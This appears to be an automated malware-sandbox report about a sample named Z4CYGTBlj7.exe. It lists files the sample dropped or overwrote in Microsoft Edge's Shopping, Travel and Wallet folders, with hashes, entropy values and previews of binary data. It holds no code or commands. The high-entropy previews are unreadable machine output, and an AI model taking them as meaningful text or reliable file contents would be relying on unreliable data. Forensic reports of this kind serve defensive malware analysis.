MD5:	E0713264105D80CE053D62E1D1A28732
SHA1:	A0223289DC80429EB30B9A37298A16377E43EFB9
SHA-256:	6CBEE155F1393C710CD502C4C2C5D514FBFA756EB9BAEB61B0179D1A7EC76FCE
SHA-512:	8217E23C798B934748035DE6239C765DA1C6966C1B36AC9F2249E5429127A69948BFCB7D1BB40C3CD7F624CC6EB2850567DA79F3C24545ACE003C4831E6FC8D2
Malicious:	false
Preview:	/! F..f...K.y^$.-..../.x.._...7Q..;J=n.Aq.l....D...............8.)/..E.\|.?....P<...v..%.9......i8.m.E4Awu<..!.H.tQ..9;\|.B^%....C..qr.M}.XnGq...G.#.Z....\|.....=.I..gl."...N.F..G.E..\..jZ....c.R.....'... .o_.T:...2........8...3"ioc:m.;.....s.p.........u....8........].x7np'f._...:.j.1.....M~V....O...._,.9m.....Z>...\^........f..e4...4..iKB..Hb..i.rUl..........Iv...j.4...ZTH..-.?..#......)....(.o.]?.h~.F.~...<a.wi...~............n%..h.[S..<......f.U...@..;..dNG)..=..1.6B.}"...hp.?.;..3`w..I..p..y.$..py./.jD7.<fTA.........7...-Q;.E..A...11(....7.oH..[G.%..lu..Nd.j.^..W...y;...(o}.......k..d........J.&gC.$.L..r.w*.......p"...d..K..`5.k..H.\|.'p..\|N4.....TH...)..l.Y....B1:./..{..4.(ni..\|...')./..0..2...o.+.D..!;..Gm.\=..^(%..:.....f..c.....@.....B#C...>....h...i.z.cfmS.J...]b&].H.OzqW.&...-..l/w.S. .....?"26....H......m>.....[.8....o.Mf..Z..A.X.E.Y.C<YW.............:r.....&.+....5.R....s.4...#.....I...bf$..%j.fD%_.?...."_.._..Y.OG.%.[rZ..w ya...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping_fre.html

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	7.851863555469305
Encrypted:	false
SSDEEP:	24:6tHSaNqfpgkmXZfGuQghWiPxlYvM4lHuo8GbWsLTToSaHzj/ePtpy62bUX7Za0sX:6HSdNU9QXOYvM40bGbzLT81EXy657ZaV
MD5:	1BAF41C568EDB91007E85737FE64012F
SHA1:	4B0A93F2F01DB0F4FA692DBDADEC5667658BFF91
SHA-256:	844F8E3B7B868DB04751E9245CFE27CDF41D45F51E61C22345630DB785C27D27
SHA-512:	FACCD728650DADF8CB9471C0BB8818C09E1114F34DBD8D48AE13F65F69190ADD7552A9BF3AD9F738D9402727E3C30D5E91FF1217D38657036D5917258F983E1C
Malicious:	false
Preview:	<html!...xG...y}....Z.g.w..UQ..q....u....ft.Q+......"..._,..Mv...Cw..<3.....t0...\@_.k..PK..G#.....".]...tv......j.)..A....VG#.r.Z}rf...~2.Z.HP....[.....5t...."..B<+..V.9_<....~.A.Z.U.5J#.5.W.....nNH..M....s.......l._4.#...7M./n.<.).-.K..,...E....8.....9!o.......r..CK.d.U.'t..}.7.]..Q.#.Z..$....2b$I.. xN....#.f....M%....%b..d.....=3.2la(..).:I:,.@5.?/.>...9N..,..6....OX..BH`_..8.-..."...U.`.b.....sU...b.X...~Z;.....e.#.....}..2.e...t.Z...o.i....+...,2....y.......[...e....;.....C.k2...v.7.X....]s.b...z...T..l......<...j...=....A...W......`%..Y;B.K[..bV...Ep..5.m..qn..Z..'..!.......>..i.N.N..>Lb..c..'.H`A6e...7.Zz../...y...m...u...PJ{...H(0...;......L.....L.3..4...o"..Cf;P.6=..x...e...yc-.Y..o.1...{.v..h..(.Y".s.......0n`1....,..H....~.r2.`l.......C-<bL......u.M.aD........;_...Qs..7 ..jL..&..x>4.@Vo..Z4...q.....C.AE.yC....j.\..5u.#C..,o...1.c...,............\|.9.`g...^.n..(.,..F.e.*.x.9....b..ju-.Z"......dL..)..Jz.P....-P.U..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping_iframe_driver.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	12270
Entropy (8bit):	7.9873794988210305
Encrypted:	false
SSDEEP:	192:me5yJ3O38OA8Nb/VBg61oFQdpVu3IWBoo/zaiocOwFqX1abK4SfyQpxychgK+:mB+3rNxBg6SFQZutxWbIu15ZyQucha
MD5:	99A450803E18446825EADCD0F858438E
SHA1:	027CABF04D6AC2B48DA48B7D183CE7609196599E
SHA-256:	160C42E6879893F434F7840D69FA29187772001FF462B38C3214F01C1405AA8C
SHA-512:	9C68C481AC86451F71D04CFF8875F8DAEDE44F7D2F97DE9A9401179AEE6836010FFC000EF44483CB3343689348ACF4667CAADE1EA05EF99497C18A1452B79E04
Malicious:	false
Preview:	(()=>.".........L.V....m....I...".T.~.,Q8.@&....^...1'IsD..TQ.&\...q...h..w..2G..E..X..R..-.E...g.F....SU..~...}...N..O!.t..$.$-.....r....X<gO.0M-..+.f?(.....el\..T0...B...S..V...7.u...#..J.....o....x.,.....QA8{..2.....].3,....`Jf...xN..{......?.>i>W.....4...~.^ 5fj./....M...M..s..o..#.I..q..B.H.y......'..C..a&...~.....m..._.+.q...o.;k......2.........p.Z.O.WF....b....y............y....?.0..I....$:N.....b......+.1...b.C.Vj......:..n..........UH.....k....F...OUfRC.....\|...Z..v.V.ai.S..b......>1Z..N.&.[......8.....w@i...j...Ww..../.D..U..0.7..tk....].t...-qu......E.+Sy.L..;.;z..v.......P.CX.k.1.....R.......m.J.@q..+E...sIH...%y.......e....V.rz).y..Wq.9e:u2.$].b.n8..my^..~yv.......x}.'..1>y.1._...%...(...D....1....p..".>;...k^.._..z.w... 5.%1^_....'v.G....!].......Qe.V&cx..E..T.CpNy...K.{o.R..s......u...T.sx^R...4..y.{.. .f.A...=..x......e.NN.2p.3.<&...F)..y.....x.L~..H.4..C..{..~..AK.e.6.].a..JZ+...N.g;..9......j..{K..X..r

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358109
Entropy (8bit):	7.385679755953774
Encrypted:	false
SSDEEP:	6144:SGv4t0USvldLbqcNdqoNF9dVnguOqtFS4pc8Yv7fX7cxbAB0uh:SJnwlVWcH59dVxsHIzW
MD5:	BCF8767BB3EFDC699DE55ECC1FAAEB59
SHA1:	056845880545639A6AA0777FD64F40800FF782A6
SHA-256:	FB79721EB7B61F9B60A48BB58B721E5D986F71719A4E37709E3FA103D128D518
SHA-512:	F34765B9A0CFC590BBA7258B65AC9C532E8250D692A1746F0428A751F2CD3CE7771CF058B952D6C1B1EBB2A34024F32C62BBB48EAA39F9B4B476D13222354DD4
Malicious:	false
Preview:	!func.f`b1H..B....E...1..\~.7B.>....7a8...%.O..'...Q....(..z...2.pS;kJ.Wa0....o ......2.R..;..<.61.M.z.(>.S..{...i.N...%Y........g....9.{.... .?"B..RQ.P.Q.n.=~....i.`...Y....+..Aj.........V..\|.,....p>.2..=......L.." p ._..?...^.ek......;.M). `..p".....>...L.Wy,!G.B.N. .4....qb....wvQ.Q.58.x.0.z0.R.......~....Yl_.....x/y......".^...!.p.......-.....qN..g. .._......_..J.b..S~1...oZ...C..wG.z.x/msGw.."...8.n.$..f..."...P.\|....B.M\r.....C...-;u..l."Yp.P:,.....NX...#..8.....k..~....[T.-...o...R..;&5..U..[e....`F.(..0...v./)...N_k%....7.5J.um..E.IAP.S...q!.s.o>..?...P......C`u..r.c.0\.=0....V.....{6.....im,.....{..u"z../..G.&.\|.F\|..E!........Z.S!.q!..E...O.B.. .y'p<..p/...>.t....-.^..=N.'.......p.m..i<..j..h.ItAZ-.@A.;..\6.V...h..1"l.-....W..H.c..M...M...{.....i['#.+Y...=iAQ...F(..K3.]n^B..Q...Aj...XS][......"].V6.,..*.....>'.}^...ez<..}J..X..93f...?b..../.6...Jo.c.z...</..%g{.H.n5J....~..Fy%.x+..{.Z/.....o...l.I...:....M.+..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\automation.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4605
Entropy (8bit):	7.95393368899245
Encrypted:	false
SSDEEP:	96:2Drnk8WJLnwxw7JlmaqCkmrixoE7KAJ/TLN2/RPs9m4Jh0htQQTBtBB+:2Drnk84w27JEvCJi/7KAFm+0hSQlZ+
MD5:	F750912F4FEDD8A96C9F181574059E04
SHA1:	7C2017BEFB1A1E2EDB0C0476E578A429D3A37AC5
SHA-256:	6D7A791BCF472D6145BE410E98D9E47BD1910D500BCF3974AE9B878DC90DFC47
SHA-512:	E0827AC27B95FD676A76064ACD8E486AD2FB538B6C74B8B77DB78D12FF589BE51CE03AD483756C73C187C1C152036CCC25520702308012608B20B9F90B571594
Malicious:	false
Preview:	(()=>d....H.$......3;..T.QN-.Z..%x.....&...]...<...H...$H.....,.?..8...4t.?0.a..h...}d...u.@EW.R.a..Z..mA`....x.qY.6%J..2.XcO1.{..g.1.v..i.F#.J..b...v.;.......%...i...n9dp...`.H.7..hF.....LAqZ.;)O.Ir(..g...6'.........((..w....(.Oy..+w..x..kp{.q....1`...._D5.......!.C$....6..f&.A~Ch..X.j.hA.\...'.iyVz.....[M...u...y.P.%.?t.ox.+.P..:....qE.....;....ww.r.}v.g>..a/.L5....3Y.H..........DhH.S6.E.).M...Q.th.<(.,.Q...J~..?rI.3.~.2.Q>.VB.y ..(..ar.f}1....g..q....V..........3-)Vq.)I-'aT..q.R...3.........I...@<..4*.....B.dK....Z....m..C....O..V.....tm.N#8(....Dr......_...d..V..".<.pZ.2I.J:...C..u..`^..5.)...q.K...w...i.l...#m.H.\E.=...J..p..+......q...._..\r....XP..D...K.7.....7....!T.i....P-%.Z^M#..N.`.Ji.>A...[./.5.v..,.d._WV.W..7..j.DMZ6..X.PD.N...V..B..?..[.{M~.....Xo.aY.....U.u.v.ja[....4'+.en.q.z.3.ln.....k.5.?.....;...T.7.!..&g.........V.......J......(.Id..in...c..:..6...'<..+....t@.....x......P.]...b...A.~uM;...s...l`...=c.\|w.!>...Hm4.i

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\classification.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.8461608594338585
Encrypted:	false
SSDEEP:	24:9Cr6enr+lk6Q1W5CniPvFvzBFMqiI1PvH7gE6S7DUtSh9ydlc0fYDA43SsbD:s6enDXbsFvtmqiAnH7gEB7ItSbkcO43D
MD5:	39F68F0B0DE3BDCBDF2208B9F14F86BD
SHA1:	1EE848B68B3CC82AFDA693342B4824B7B6C0EE83
SHA-256:	57F50472156284F011A74280B3F8F727B75653639B475C9B0772E5607A70E3DD
SHA-512:	A1658EAD6B734E1C05EEAE5D011A93C796A988A6751C1B402EA23BB3603C6E6FD7A8F0859F4D8710425947E7EC159E0FCE964E9E33A0AEA0378C682BEF4C9AEE
Malicious:	false
Preview:	(()=>.....7Kr...F.=r..Q..'a..a.(.Kf..<.yyW...j7..~.#...(9.v....y:.M..JM....e.wx...X..t^..m.2..Q..S.H..p.....D6...d.=.....S,...$m...7.(.1(..T%....6..'.x...:.m.\.....I..1h...R$..v[.Pz.V.e..I.......................=...0..<0...yE....hg...\....iA_.CbC].~.j.....x...@.^.&e.......T...)....j3...p.U........lg..X.iP....mi...r..K.........vP...\|Q.y...Ze.R.8"..U.,,..7........u.1.P....j.. T...3u..U.0..!..?-....'.%. ~..........?O.\|..;...4...zj.M....CGkK9.I.".V.,Ck....;.Ss..a`..`.iW..vi.......k..qOv.Kxa.+h3........4.f.d.H.......g..D...OO.!.Q}...a....g.F4a`.m....#4...........<.lW.g..@..'C.Q~..[..{.x..I.A.&q..U....X..'u.........R...).4..g...wt.....%...>.^+a..R.R....&....ej..4.....A w%.......p!.}...=.....Y...d.y.....U.1Pi. k.._..\y."Tp"..(o.{5.\E\....$....a....;D.+@$y..........m...{.23..fa..j..pT&..I..-u...U.Z.G.7.9....x..... .!....p7.u.M.w]i.....JY......1V....\....J*.........TF."....$.0,..my#.........dmNA%.X.f...4.U.N,...p.I....j6.vD...J8.....Jx..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\extraction.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5656
Entropy (8bit):	7.964625465933838
Encrypted:	false
SSDEEP:	96:VamXryu5rjsR8SMNin4PrYxSbCvbVNpaOhA/SsTaHs/Ygpvj6xY0CEwwmgZ1U93c:VhN5E+wMKbfpJ8SMaHs/YgpYY0LigZlN
MD5:	74B04E9106D7871D7A3F685B0793BE67
SHA1:	89A29E837020F8DEB2C75D603FEA1B928431A0F7
SHA-256:	47212B0364F600357DA0D9EE367F4575512B53CDB6E6D7F6B44A997C9303395E
SHA-512:	A8D7BC9859CBD88C2E0B2DCB49313C6FCDF183CD16A69B85BD50E7690584C2A5D4BB3C6EC0F5DFB7F81C7FE4FF074E9E7A95D05A990AF4F68AE40EA7904C67FF
Malicious:	false
Preview:	(()=>I2.\|..s.v=D...E.@XH...G...........Y..\|...d..7.U..-M@_.D}]..{(..0Q...........u...?.6.M..j..@F.(+v.Vw....3w....\|p.....z..k~g..m-$.s6)..g.Dh..E3....E....<z..e\T......i....`._.....2..J.n!.... ..Q..Z:B.D......yL..M..H..Y...W\m.....I.}n.,.7.......q..!!......8..k_....`....BrZ...H...:.....u.mr!...N.......\.^.=>..G?...'....z....IXh......5..K.-..V..j.\.q....q.D.M.\..8:.{.....Y..n".L.O...G..Lc...lX.A\....Y(dy....Y........E.........:7!..t..`.'.M..{G....6.}.tT.GZ-.eQ.2...X....@sE.=...'......a:.a......d..K]fY....j.g.E..%s...Ff.I.#.........o/5^..SrOUChZJ.B.....'..n.....E.M.C...>...p[..S.@..>~3:..r".7.......^1.....W.G.\LI1.Z..9...\.B?C..D....A5.{.W"..B9 &....vJ....Gv.+..RK.9.=...r...i...d..Rh.........0.}e..R,l<.\.F.E..&.'..\..w......3<m\...SY.K.pa.h......?&..a.....XL..`@..5<2.LnBh....O....S5.................&D9.g.q..dM..`....?.....S..f..;.QJr....e.9#..k.%.m4.-c.......[..A...y(.g.`.RVnnSzTt.f.j..^....H..t.....B'5[:.R&.s....yp.j..9..Y.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.376916761188826
Encrypted:	false
SSDEEP:	6:SROHTItUDuogMNcRNpeY9nfs2/iefCs9jv87+Pf1rwcEjiCWLWc6KNQW3cii96Z:CtaugcfEY9fqADo+P1CKWINQscii9a
MD5:	E90E4BE633E94312A630F84867B5EC71
SHA1:	12DB95135A62419B44251FBBE78D65F797F67E8E
SHA-256:	60392D3952B858BBE397DAD1277BFDEE104DDE62E6B682A96573B62AF1A11F90
SHA-512:	C96D49D98703D7D63A6BFE2CE64EC6E8F09850A03BA89B9C231CFE683FC0E899263BA9E92E12880B8B0B2CF8DC0BBB4F736F72D1517F4A507D5315E30679D630
Malicious:	false
Preview:	1.DD9p.}.KH ^.K.B.mK.O.C....i.....7..v........C.U..5'.w.Mt[....t&..C{. %..}..9t..qf.....>..A..6..d\.+..Pxh..oy..a._....H....F.W..cL.l....S>f.W.W./=..........%".9.4U.W..?..).5.......F>..{#....3..v..._q.g........-..5P.Z...%/.Q.J......E..U.ak.4wg.70.:.?.g.y$r.-....n.6.......i;....6.......%.XK.?n.. x%....>.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	469
Entropy (8bit):	7.49579413306874
Encrypted:	false
SSDEEP:	12:MQdiyjcv/SMJvwU3JlUvI5ykJAogADR69bDzhaUHQZQscii9a:MQd/wvtJvw4zyyKAN6VyusbD
MD5:	B3C51FB7446E87783DDCCFF3E42C1DE6
SHA1:	6D05DADCDB1482204888A746155F53CB120BE582
SHA-256:	4007AFE1B8EA6DFF69E5B61FBE662C1294F425B1B08EBA7DEB190FDCFAEDABD7
SHA-512:	273B4DA5B4F6C8E3EFF6FACF0F034CA34E5513E12442A9BD37047005D58ABF378ACA8D0B540A8ABBB37225EF1CD7BA2CE36B6614C5B98CD5F5C1C647F1212270
Malicious:	false
Preview:	.{.^.jf......-i...>..z#U`...+...9d..S..'.{.../r..8I.8.[.{.K.....h...e\|p..n}.Ot.<...,rqq.....k.....o9....(c.J.................}.kS^X....v.w....-.......%.O..l....q.i/N.<OD\...A...f..:L~a......am.Y-.r..X.B.....,r}...}P.gi .D/.A.......y.c.....I=...$Q.}(5..;.Nm.5..s....L_t.b..+M%.p..$.H..14Ak.l.......1xQ......L..v$.\|.ok....2..f..!.,.B..;.....F..I}D].$....."..A[.f..Y.....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-bing.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2741
Entropy (8bit):	7.92473453946968
Encrypted:	false
SSDEEP:	48:P+7/Zq4XzF5+ThN9zm7LUl4Qs3NCNdxkzjN56qFsChL6Zzj85ze5WiBH3ic+PmD:Pqb54Thzzm7LYkNAAz/JLKzj8ckiBH3Z
MD5:	8D67F146AE863FE0BD5A776BA6183B2A
SHA1:	315765C42ABC0DB0647E72C99431ADFD652EC5ED
SHA-256:	6489C0089C76AC8609BCCBC833E35A9E82F4445AF3B85820524526C86A6B8969
SHA-512:	58FFB2A3971EEC6F18335C1C8D5DB55B0976CB923E38BCC878B8B31068C899C5CB61C76C19023A4EF72D21578EDC5939B710CA9CAD31BF955DB291BD7DBA8F22
Malicious:	false
Preview:	/*. ....d..3..V.\|ZjE....."k.IM....U..)...z...3}u.u.#.../....!.D..&"0.!...r..........`.%..t.G.oB.1...B[<'&91.-5.&X...]..l.jw..'w...z....S...&8.f..ZlTN.u...v.FXC`.d.u..=.s.H..} ..g.t.....r.o..U.j[b+^y.f..S.J}#........!.....3^[..K<..r..B..X............(.)$....h.....q...[_....g!.....d.O....Y.I\|.=.?.L\|o..0.l..E.!#:...s+..k.u.u,...L...sv......#...2..o."1\|].....&1w.p.....I....ZUz...&p.......Q..K...o....Z..o)......d...;.~..u.p......F..W.......WK....H.@?.?.p.....@l..iP....Id.......6k^..6..I8.jr........[.<&)Hsz...Cu._..9tm.r.`}....l...7'.r.....1...........%&... k.X..y..E.......o.<... .[k....5>....Z.......d..+...8+...'.%/I.U.NVN....V..NL.}...... xQ...4%.C...j.$...A.....#.W.....m..p...l...8..NDF.....Y...{~....qF.Y.Jz;......1..D...O...6....(...(...D..#..(e....Nv.u}.t.l.yE....a....}..\|Hu(DA.A..=....!......+..t..Y.(5......{.!.,..b....5...UH..}NvQ...J!FH....J..=y..K.[g(rR.~....z.R>.-d..\|.#......Mx.T.R=..H.0oCrk.....%6m.5) &...H....S.UV...`.A

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-kayak.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	6185
Entropy (8bit):	7.966430084512702
Encrypted:	false
SSDEEP:	192:u/kSJvQFFl5Hpa3IpfjQHYkveus5S2Iut7+:usSeFFl5fp7QHl2us5HdM
MD5:	2A05AC4CD90EC5E2E93B0FA1D6564E27
SHA1:	6D9C1579997C2E92E2A26F00ABCB503C772B4653
SHA-256:	C3C0DA99CEF2FC1305316BBDFC4EB86547217A962709B9C108929E28815B66DA
SHA-512:	F8D3CA63E8ABFBD949FDB7BD91445A5AA726F618A7A15A929E7C9E7E273B39A4DF16F1B49EC73DC6D5A76D33F3C9FAADC0487281CB048DD8D5C61387F39B0923
Malicious:	false
Preview:	/*. ~W. ....nL.l...3.....b..L...9.M4..[9mZ..X.2..<..(1E..._Op%.<x.aR.).....b......w..@........o....[;.n.mF\.Vk.v4.8...@5.O..?...d...a..(H.B.;.......0~.^.o.-..n\.K.3..l.Jq.ae-.p.....g."g..vZP..F....Y\|m..iu..G....\|...h@#..XM6.@.....[2..w.d..g.rf.:..'~....+>..X.U.......OL......,.\|m..W[..fSB.J.m..N{..&.n......A..vo<..(.O-....\.R{.........7..<.Q...2q` ..!.c.........6.?.Z5F...........^.>n...{..J..9{.(.j.Q...^.#.....)cT: .\K.....K._..].. ^n.5Y......p.z.....<...u...{.;X.m.'.5.J.t.'...p..."t...lU...._$.N..Wp.p.x..Y...<..E.Z..A.n1...,xh...;....p..}"B.9.ST.J..+..c.F./{D.....#.H.I.V.~0....h.._l2.+$7.P'.H.4b9V..@-.F....,k.6....6..;0w.H..........o7.H.....;.......v.t.\|..um..S..q}...........:....l~+.".k!-.&.w.'.">8...m..q..[. ..:.k.Z"..%....#.%.\|.7.k.c....%_.N...._.s.O....:87o...K.^/.~9.......O..!HF..U.k..U4lCz.....j6.%ol....<pB.R........I.6.._...G......a.:G.Z.~5Q.JQ....s.@.,Y..J..M....c..!......46=.. .....K...q..f.uS................[...0a....;.B.$nJj/.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\app-setup.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	540
Entropy (8bit):	7.592374257995085
Encrypted:	false
SSDEEP:	12:Km+hJpS+GRGQ9aMGQ1RCDk5PGZeoFQ9e3bqModi4cEr/ZTBUQscii9a:IpS+BQ9afgRAkYeoS98bq54WbZTLsbD
MD5:	6D075671F4BE0C51BD33B1FE46BF0598
SHA1:	9F86F51F8499E710E898AB04AC6497043FBBC022
SHA-256:	5B8C5C87704BE36C955D37734F2C3CDD7B6E18C1BE5CC3AB63F5A50E27B3130B
SHA-512:	482A9E4834A120BF74E40EEB52A930D6A4715AB8423B2E7B46EDEEAE4569010ED22F1570FE5B0843849A2D0BFF1303205E65993CD72B58AF6A8D9B08E4D66F3A
Malicious:	false
Preview:	windo.5......C.;;^e.,{U.4(.P!.....?.Z..#.2.<f......Z..'.X.J\[}I...i...^.........9....6...c4.D..s3.v....0.......T...e..r...P.Z...g.-...I.%.D.q..ln$.g...vL....k3.u..H.....<.O....<*...$.R...K..q.......f....0.q..>"...Wbs.G....8}....K.gf.j..F..6.2...:0.8..)......"..q...F...Q!..bF.C.._/yv..6^..r.x._..'Z....s...9P.....,.K.B`...........3..........._.A7}...&....=qs.\|..Y.B.5.9.it[...!....M.. /...A...`d..9...R~n.1..V.....e....h:.Az..?1?..}..%..^.Wr8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl_driver.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	11876
Entropy (8bit):	7.983474831182637
Encrypted:	false
SSDEEP:	192:N0/Ot5jjIn14wtPCzKeB8+eJAClBD4D5acOa7x+2v5lWRDY1+:d5jjInszeJACLwacOoxlWRck
MD5:	85BA6B2B7D822B6AAC42AF4B01001643
SHA1:	1BE7DB7F28DA527E47CCC8BA868BADAD1F035A5E
SHA-256:	DFBEDEB4665A55D30E9207A6718027DFB70304521B453A5037F3AA6052BDC4B2
SHA-512:	9B395508B8600EDBE265A3F309A4316D993036E516D446E071BCB955377DE64ED96C4469FBC01681B45B532D644BF72CD0D33609D01DAA71DC118148CD27D86F
Malicious:	false
Preview:	!func.....-f.........&.....5.?IB....R,....&l..g1J;7T...7...o.8.......o#.jr.@....N...m.)...%.@..\|^..})b.i.}..9...g...q..gH.....N........L6,...6jBT....B.Iud....d.#........B..D5....:Rp.5.7C.........T....?.....;.b.1..q.&...\....S.....D.. ..k..e."vv.........!...ZU.%.s..T..H..,..g..la..O.....>....{..G.E.[.....S. ..`......+6.Dn_...r.)J..:.........d..V..N.2H.E.w..q(..Cy..O.-.F....._.....YP2.9i`;%.. ..}C.....fs........#Wd;4..I.L."zD.2oyfN..7H....#.z..Z.D..L.U[...Z.2o....g...r...b.K..]..m~..i..bc.....6.2P..;..1A...:O...Xo?z..iu........F..hR.v..8&0...l._.t;.y..).,...5.b......."..<....L.....tn..FXcX.\`<.N..e...w...ub......4f...r.#.X...:..z..OHp.{_...L.\|.1.ar.`(..I.fAXX+..*.I......1..<....` .S.../.6e.p...~.....U..I.........F.k....F.....?s..2.....Q..J....Hc....../../..{...{e..........q...%".&...5...#.....f.:. ^y..#.,...{;k.....^W.....On.-..4286...b...p.F..<.(.'....S..:.s.4$.2......Gw.5.....Y......cN.}s..........y.,$....0Y.G@......S.I..C......9..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\crypto.bundle.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	455
Entropy (8bit):	7.444634906804908
Encrypted:	false
SSDEEP:	12:1KpfBSoV1Dk7EOqDYGlQAZ5pSi4qahuQscii9a:UpfBxk7wDh5pfHSsbD
MD5:	F5BBB93840AE15A57B0228468BEDB0EA
SHA1:	7FA03CAD112C8C2EDE62D316401E9FE1BCD6A78F
SHA-256:	9459998179BF4FA6F9D194C9A828542CB5795689479610DC351223F338DCABF5
SHA-512:	021BF2D6FC4F0DD08D742598CC174963B03375DB5A1C00011351D71C43F7A6B3D687283B67FB7FBF779A5EE76D25453C5983F2363F18AA96858284FB1E80B808
Malicious:	false
Preview:	(selfp.]R&...d:.q-z.......U..e.8...f$......Vzu.y...,..c.OH..%x..\|.Js..j.=V.....CD.d..7.....C.\...b...)...].>............38.m-O.D..B..)..h.F.t.Q./...e..7.W..,.t.\.c......lF....$z..E.I!.:.Z5.A..&.\|0..w...G..R.j..c...,h..b.KR..`......i.*5.$.2.x....6..w..d;....B.>..\.,......t......:..]Q..WIi..U..g"LZ......7.u,`..p8^..........G...:(....`r. ......A..h..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\driver-signature.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	14677
Entropy (8bit):	7.989522559331508
Encrypted:	false
SSDEEP:	192:d8VaQW/NyORSjdbKL3lcgSnm1dkc7f4ogpDhRkjMNxQ1aG+orpHjILL+:OVEl3gdI3lPQc7CkoNKclot/
MD5:	F0736C34C595FE23308E5F36917B84E6
SHA1:	AB41F5F128AF6A59E4532FAE577A58BCB1775396
SHA-256:	CCA7E5D39C1B1ACC7DBCE629CF11129BBE65D13FECD301255DD7FFF8000CAEBA
SHA-512:	E2B8332066C3F91F96A1FBE503B7DA831F1CDE708AFAF19146BED2FD8E7CEEF0421CC5CB387C0E4007AD66DB6E79DFEF248D9D1041DF1552E23EBA8CF4A90F07
Malicious:	false
Preview:	eyJib..t=k....s.x.....&.\^....>.C.:...UA..!.Q.j8$.$...$..j....'...N...w..c..r........;......1.cSC.7X...tI8.(..A.'....U/'E)D...l.`E..&$daJM....&.A..0....y.P.....(bS.....B../.....\.....KY.E$#..d......6S....W.....n.K.../..m..2.A%..-.8(a.9.....O..{...e....I..j.......\6.ej8kJ..t.S.=(.......bg....]...kJy..J..-..H..h.....4.....9....\9.B.O..'.G...7C=.W../p....P......M..{.c<..=....Q...Av.h...i+.....O.Xj4.{r.v..F...sW..>u.@.!..>.z...[..].A...G.y0..a...s..(u-t'B.>,...9%..-.....o..z..h./.F..!8.x....iL...g...G..6B.'..;..}...&~.].1.....b!v..s...0...6...j._.P..8.....{Hi.....:DW.X...6>.~..BZ.(..l..Q.@.....'...e.a]eH.......}h.....%E50...2......Z.~..:k)M..4T.MwN.....+I.v....I{.n. .l... i&...a........0..\..F.....U........$`.....5}+q..q..b.&"29v{=.Q.0..g...ll...........S[....2.KW...xXp....1(..Aq........<b..P..+#.......k.J.t-.........u.Y#.oOE..Cw;..q...v.M...J.u.......3..H...h.C..y..%>...ic.wyqqd...".M..y.p&...%.5.l.e<....5..jm.fs4ow............ Qb..... ..pF./..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1946360
Entropy (8bit):	6.064892214659481
Encrypted:	false
SSDEEP:	49152:jxR3xuMrT9ZVAgJVVgdsvtbJcbKPPNb4hbmPJHM0PBudMq:v3xTrTf7NtNb4hQq
MD5:	1D6CAB1694055C3799E3570A4C2EC8B4
SHA1:	5758CC6B8D57169A55FF6A6683D10A8C9A92C55C
